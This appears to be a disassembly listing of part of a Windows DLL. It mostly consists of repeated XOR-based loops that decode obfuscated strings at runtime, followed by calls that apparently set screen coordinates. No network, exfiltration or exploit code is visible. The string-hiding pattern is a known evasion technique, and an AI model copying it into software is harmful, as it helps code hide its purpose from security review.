packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a19d0
cmp r8d, 0x15
jge 0x1800a1b00
movsxd rax, r8d
lea r9, [rbp + 0x23e8]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1800a1ad0
lea rdx, [0x18023c284]
lea rcx, [rbp + 0x23e8]
call fcn.180007270
movzx eax, byte [0x1801b84d8]
mov r8d, esi
mov byte [rbp + 0x1f00], al
movups xmm0, xmmword [str.VRAeyWZVRL]
movups xmmword [rbp + 0x1ef0], xmm0
cmp r12d, 2
jl 0x1800a1c43
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x1ef4]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a1b50
cmp r8d, 0x11
jge 0x1800a1c80
movsxd rax, r8d
lea r9, [rbp + 0x1ef0]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1800a1c50
lea rdx, [0x18023c290]
lea rcx, [rbp + 0x1ef0]
call fcn.180007270
cmp byte [0x1801b84f1], sil
movups xmm0, xmmword [0x1801b84e0]
movzx eax, word [0x1801b84f0]
mov word [rbp + 0x2158], ax
movups xmmword [rbp + 0x2148], xmm0
je 0x1800a1e10
mov r8d, esi
cmp r12d, 2
jl 0x1800a1dd3
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x214c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a1ce0
cmp r8d, 0x12
jge 0x1800a1e10
movsxd rax, r8d
lea r9, [rbp + 0x2148]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1800a1de0
lea rdx, [0x18023c294]
lea rcx, [rbp + 0x2148]
call fcn.180007270
mov eax, dword [0x1801b8500]
mov r8d, esi
movsd xmm0, qword [0x1801b84f8]
mov dword [rbp + 0x1b38], eax
movzx eax, word [0x1801b8504]
mov word [rbp + 0x1b3c], ax
movzx eax, byte [0x1801b8506]
mov byte [rbp + 0x1b3e], al
movsd qword [rbp + 0x1b30], xmm0
cmp r12d, 2
jl 0x1800a1f4e
movdqa xmm0, xmmword [0x1801bab60]
movdqa xmm2, xmm13
movdqa xmm1, xmm0
movd eax, xmm6
punpckldq xmm1, xmm0
movdqa xmm10, xmm0
punpckhdq xmm0, xmm0
mov r8d, 8
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b84f8]
xorps xmm1, xmm0
movdqa xmm0, xmm13
movd dword [rbp + 0x1b30], xmm1
movdqa xmm1, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b34]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b34], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800a1f60
lea rdx, [0x18023c288]
lea rcx, [rbp + 0x1b30]
call fcn.180007270
movzx eax, byte [0x1801b8518]
mov r8d, esi
mov byte [rbp + 0x1f18], al
movups xmm0, xmmword [str.vC_eyWZVRL]
movups xmmword [rbp + 0x1f08], xmm0
cmp r12d, 2
jl 0x1800a20d3
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x1f0c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a1fe0
cmp r8d, 0x11
jge 0x1800a2110
movsxd rax, r8d
lea r9, [rbp + 0x1f08]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1800a20e0
lea rdx, [0x18023c28c]
lea rcx, [rbp + 0x1f08]
call fcn.180007270
movaps xmm0, xmm7
call fcn.180008960
mov eax, dword [str.xRRY_]
mov r8d, esi
movsd xmm0, qword [str.tAQPUVU]
mov dword [rbp + 0x16f8], eax
movzx eax, byte [0x1801b852c]
mov byte [rbp + 0x16fc], al
movsd qword [rbp + 0x16f0], xmm0
cmp r12d, 2
jl 0x1800a2248
movdqa xmm0, xmmword [0x1801bab60]
movdqa xmm2, xmm13
movdqa xmm1, xmm0
movd eax, xmm6
punpckldq xmm1, xmm0
movdqa xmm10, xmm0
punpckhdq xmm0, xmm0
mov r8d, 8
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.tAQPUVU]
xorps xmm1, xmm0
movdqa xmm0, xmm13
movd dword [rbp + 0x16f0], xmm1
movdqa xmm1, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x16f4]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x16f4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x16f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800a2260
lea rdx, [0x18023c298]
lea rcx, [rbp + 0x16f0]
call fcn.180007270
mov eax, dword [0x1801b8540]
mov r8d, esi
mov dword [rbp + 0x23e0], eax
movzx eax, byte [0x1801b8544]
mov byte [rbp + 0x23e4], al
movups xmm0, xmmword [str.tFBWE_]
movups xmmword [rbp + 0x23d0], xmm0
cmp r12d, 2
jl 0x1800a23e3
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x23d4]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a22f0
cmp r8d, 0x15
jge 0x1800a2420
movsxd rax, r8d
lea r9, [rbp + 0x23d0]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1800a23f0
lea rdx, str.ZS_QD
lea rcx, [rbp + 0x23d0]
call fcn.180007270
cmp byte [0x1801b855d], sil
mov eax, dword [0x1801b8558]
movups xmm0, xmmword [str.pRWAVJ_]
mov dword [rbp + 0x24e8], eax
movzx eax, word [0x1801b855c]
movups xmmword [rbp + 0x24d8], xmm0
mov word [rbp + 0x24ec], ax
je 0x1800a25c0
mov r8d, esi
cmp r12d, 2
jl 0x1800a2583
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x24dc]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a2490
cmp r8d, 0x16
jge 0x1800a25c0
movsxd rax, r8d
lea r9, [rbp + 0x24d8]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x1800a2590
lea rdx, [0x18023c2a4]
lea rcx, [rbp + 0x24d8]
call fcn.180007270
cmp byte [0x1801b8571], sil
movups xmm0, xmmword [str.VRAeqJ_X_P]
movzx eax, word [0x1801b8570]
mov word [rbp + 0x2170], ax
movups xmmword [rbp + 0x2160], xmm0
je 0x1800a2750
mov r8d, esi
cmp r12d, 2
jl 0x1800a2713
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x2164]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a2620
cmp r8d, 0x12
jge 0x1800a2750
movsxd rax, r8d
lea r9, [rbp + 0x2160]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1800a2720
lea rdx, [0x18023c2b0]
lea rcx, [rbp + 0x2160]
call fcn.180007270
movzx eax, word [0x1801b8588]
mov r8d, esi
mov word [rbp + 0x2248], ax
movzx eax, byte [0x1801b858a]
mov byte [rbp + 0x224a], al
movups xmm0, xmmword [str._ZS_B]
movups xmmword [rbp + 0x2238], xmm0
cmp r12d, 2
jl 0x1800a28a3
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x223c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a27b0
cmp r8d, 0x13
jge 0x1800a28e0
movsxd rax, r8d
lea r9, [rbp + 0x2238]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x1800a28b0
lea rdx, [0x18023c2b4]
lea rcx, [rbp + 0x2238]
call fcn.180007270
movups xmm0, xmmword [0x1801b8590]
movups xmmword [rbp + 0x1d60], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800a2a60
cmp r12d, 2
jl 0x1800a2a1d
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x1d64]
mov r8d, dword [rsp + 0x60]
mov edx, esi
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800a2930
jmp 0x1800a2a60
lea r9, [rbp + 0x1d60]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800a2a30
lea rdx, [0x18023c2a8]
lea rcx, [rbp + 0x1d60]
call fcn.180007270
cmp byte [0x1801b85b1], sil
movups xmm0, xmmword [0x1801b85a0]
movzx eax, word [0x1801b85b0]
mov word [rbp + 0x21a0], ax
movups xmmword [rbp + 0x2190], xmm0
je 0x1800a2bf0
mov r8d, esi
cmp r12d, 2
jl 0x1800a2bb3
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x2194]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a2ac0
cmp r8d, 0x12
jge 0x1800a2bf0
movsxd rax, r8d
lea r9, [rbp + 0x2190]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1800a2bc0
lea rdx, [0x18023c2ac]
lea rcx, [rbp + 0x2190]
call fcn.180007270
call fcn.180006b10
call fcn.180013c40
jmp 0x1800a2c18
movss xmm9, dword [0x1801baad8]
cmp dword [0x1802402a4], 1
jne 0x1800a39bd
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0xc20]
addss xmm0, xmm9
mov dword [rbp + 0xc20], 0x43520000
movss dword [rbp + 0xc24], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b85b4]
lea rdx, [rbp + 0xc28]
mov dword [rbp + 0x98], eax
lea rcx, [rbp + 0x98]
movzx eax, byte [0x1801b85b8]
xor r9d, r9d
xor byte [rbp + 0x99], 0x33
xor al, 0x36
xor byte [rbp + 0x9a], 0x34
xor r8d, r8d
xor byte [rbp + 0x9b], 0x35
mov byte [rbp + 0x9c], al
mov dword [rbp + 0xc28], 0x43a50000
mov dword [rbp + 0xc2c], 0x4405c000
mov byte [rbp + 0x98], Ordinal_79
call fcn.18000fbb0
movzx ecx, word [0x1801b85c8]
lea rdx, [rbp + 0xc30]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor r9d, r9d
movsd xmm0, qword [str.wK_XTLPUU_]
xor al, 0x3c
movsd qword [rbp + 0x1200], xmm0
mov r8b, 1
xor byte [rbp + 0x1201], 0x33
xor byte [rbp + 0x1202], 0x34
xor byte [rbp + 0x1203], 0x35
xor byte [rbp + 0x1204], 0x36
xor byte [rbp + 0x1205], 0x37
xor byte [rbp + 0x1206], 0x38
xor byte [rbp + 0x1207], 0x39
mov word [rbp + 0x1208], cx
xor cl, 0x3a
xor byte [rbp + 0x1209], 0x3b
mov byte [rbp + 0x1208], cl
lea rcx, [rbp + 0x1200]
mov dword [rbp + 0xc30], 0x43a00000
mov dword [rbp + 0xc34], 0x43ed8000
mov byte [rbp + 0x1200], 0x45
mov byte [rbp + 0x120a], al
call fcn.180003bf0
movzx ecx, word [0x1801b85d8]
lea rdx, [0x180240460]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor r9d, r9d
movsd xmm0, qword [0x1801b85d0]
xor al, 0x3c
movsd qword [rbp + 0x1210], xmm0
mov r8d, 0x40
xor byte [rbp + 0x1211], 0x33
xor byte [rbp + 0x1212], 0x34
xor byte [rbp + 0x1213], 0x35
xor byte [rbp + 0x1214], 0x36
xor byte [rbp + 0x1215], 0x37
xor byte [rbp + 0x1216], 0x38
